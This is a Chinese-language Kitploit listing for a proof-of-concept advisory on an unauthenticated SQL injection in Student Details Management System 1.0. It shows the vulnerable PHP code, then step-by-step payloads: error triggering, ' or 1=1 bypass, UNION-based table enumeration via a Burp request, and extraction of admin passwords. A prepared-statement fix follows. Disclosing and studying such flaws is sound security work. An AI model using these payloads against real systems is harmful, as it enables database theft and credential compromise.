Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-10110-SQLi — 概念验证,针对 Student Details Management System 1.0 中未经认证的 SQL 注入漏洞,演示基于 UNION 的数据提取与凭据窃取。 | Kitploit
工具/GitHubGitHub/xmyronn/cve-2026-10110-sqli
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试数据库安全
GitHubxmyronn/cve-2026-10110-sqli

CVE-2026-10110-SQLi

概念验证,针对 Student Details Management System 1.0 中未经认证的 SQL 注入漏洞,演示基于 UNION 的数据提取与凭据窃取。

查看仓库
84个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

学生信息管理系统 1.0 - SQL 注入(未认证)

漏洞信息

字段详情
产品学生信息管理系统
厂商code-projects.org
版本1.0
漏洞类型SQL 注入(CWE-89)
CVE ID待定
CVSS 评分9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
是否需要认证否
受影响文件/SMS/index.php
危险参数roll(POST)

描述

学生信息管理系统 1.0 的 index.php 文件中存在一个严重的 SQL 注入漏洞。通过 POST 请求传递的 roll 参数被直接拼接进原始 SQL 查询中,未进行任何过滤、输入验证或使用预处理语句。这使得未认证的远程攻击者能够注入任意 SQL 并执行基于 UNION 的数据提取,从而转储整个数据库服务器,包括凭据表。

该漏洞存在于面向公众的学生搜索表单中,无需任何认证即可利用。


漏洞代码

文件: index.php(第 51–59 行)

root@kitploit:~
include('dbcon.php');
if (isset($_POST['show'])) {

    $Standard = $_POST['standard'];
    $RollNo = $_POST['roll'];

    $sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";

    $result = mysqli_query($conn,$sql);

$Standard 和 $RollNo 均直接取自 $_POST,未进行任何转义或参数化处理。攻击者通过控制 roll 参数即可跳出 SQL 字符串上下文并注入任意查询。


概念验证

步骤 1 — 确认正常行为

导航至应用程序主页并输入有效的学号:

root@kitploit:~
http://<TARGET>/SMS/index.php

在学号字段中输入 1001 → 应用程序正常返回学生记录。

Screenshot 2026-05-03 220510

步骤 2 — 触发 SQL 错误(确认注入点)

在学号字段中输入单引号 ' 并点击 SHOW INFO。

结果: MariaDB 抛出致命错误,暴露了原始 SQL 查询和文件路径:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '"' at line 1 in 
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Screenshot 2026-05-03 220533

步骤 3 — 认证绕过 / 全表转储

Payload:

root@kitploit:~
' or 1=1 -- -

结果: 在未输入任何有效学号的情况下,数据库中的所有学生记录均被返回,确认该注入点可利用。

Screenshot 2026-05-03 220550

步骤 4 — 基于 UNION 的数据提取(完整数据库枚举)

Burp Suite 请求:

root@kitploit:~
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded

roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO

结果: name 列(UNION 中的第 3 位)回显了 MySQL 实例上所有数据库中的每个表名——包括 admin、global_priv、users、mysql.user 以及同一 XAMPP 实例上安装的其他多个应用程序的凭据表。

Screenshot 2026-05-03 220606

步骤 5 — 权限提升路径

转储结果揭示了敏感表,包括同一服务器上其他数据库中的 admin、users、global_priv 和 tbl_admin。攻击者可以通过以下方式提取凭据:

root@kitploit:~
roll=1' union select null,null,password,null,null,null,null from admin-- -

结合详细的错误输出(步骤 2),完整文件路径泄露也已确认:

root@kitploit:~
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php

影响

  • 完整数据库枚举——覆盖服务器上的所有数据库(不仅限于目标应用)
  • 管理员凭据提取——通过 admin 表转储实现
  • 完整路径泄露——通过详细的 SQL 错误输出实现
  • 无需认证——任何未认证的搜索页面访问者均可利用
  • 潜在权限提升——可提升至共享同一 MySQL 实例的其他应用程序

修复建议

使用带绑定参数的预处理语句:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();

此外,在生产环境中应禁用详细的 PHP/MySQL 错误输出,在 php.ini 中设置 display_errors = Off。


参考资料

  • 厂商主页
  • CWE-89:SQL 注入
  • OWASP SQL 注入

发现者

研究人员: Imad Alvi

下载工具